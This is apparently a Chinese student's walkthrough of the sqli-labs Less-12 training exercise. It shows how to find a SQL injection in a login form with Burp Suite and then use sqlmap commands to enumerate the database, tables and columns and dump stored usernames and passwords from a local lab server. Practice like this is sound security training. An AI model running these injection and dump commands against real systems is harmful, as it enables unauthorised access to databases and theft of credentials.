打开bp抓包
发送至Repeater,添加 \ 进行测试
根据报错:222")
猜测查询语句:
select uname, passwd from table where uname=(“xxxx”) and passwd=(“xxxx”)
根据猜测进行注入:
成功登陆。
使用sqlmap进一步测试
复制截取的数据包在kali中保存为新文件 sqli-labs-12
使用以下命令进行测试:sqlmap -r sqli-labs-12 -p uname
发现无法与服务器建立连接,在思考后发现,截取的数据包中主机为 localhost ,而复制进kali后,就应该将 主机修改为 服务器的 ip :192.168.0.104
再次连接,成功
继续,奥里给,干了!
还是刚才的查询语句sqlmap -r sqli-labs-12 -p uname
其中 -r 表示从文件读取数据(read)
-p 表示用于注入的参数
查看扫描结果:
出现了基于报错的注入,继续利用该类型的注入,指定注入类型为 error-based ,查询库内容
指定注入类型 E (error)sqlmap -r sqli-labs-12 -p uname --technique E
查询当前数据库sqlmap -r sqli-labs-12 -p uname --technique E --current-db
查询 security 库中的表sqlmap -r sqli-labs-12 -p uname --technique E -D security --tables
查询 users 中的字段qlmap -r sqli-labs-12 -p uname --technique E -D security -T users --columns
查询字段内容sqlmap -r sqli-labs-12 -p uname --technique E -D security -T users -C "username, password" --dump
至此。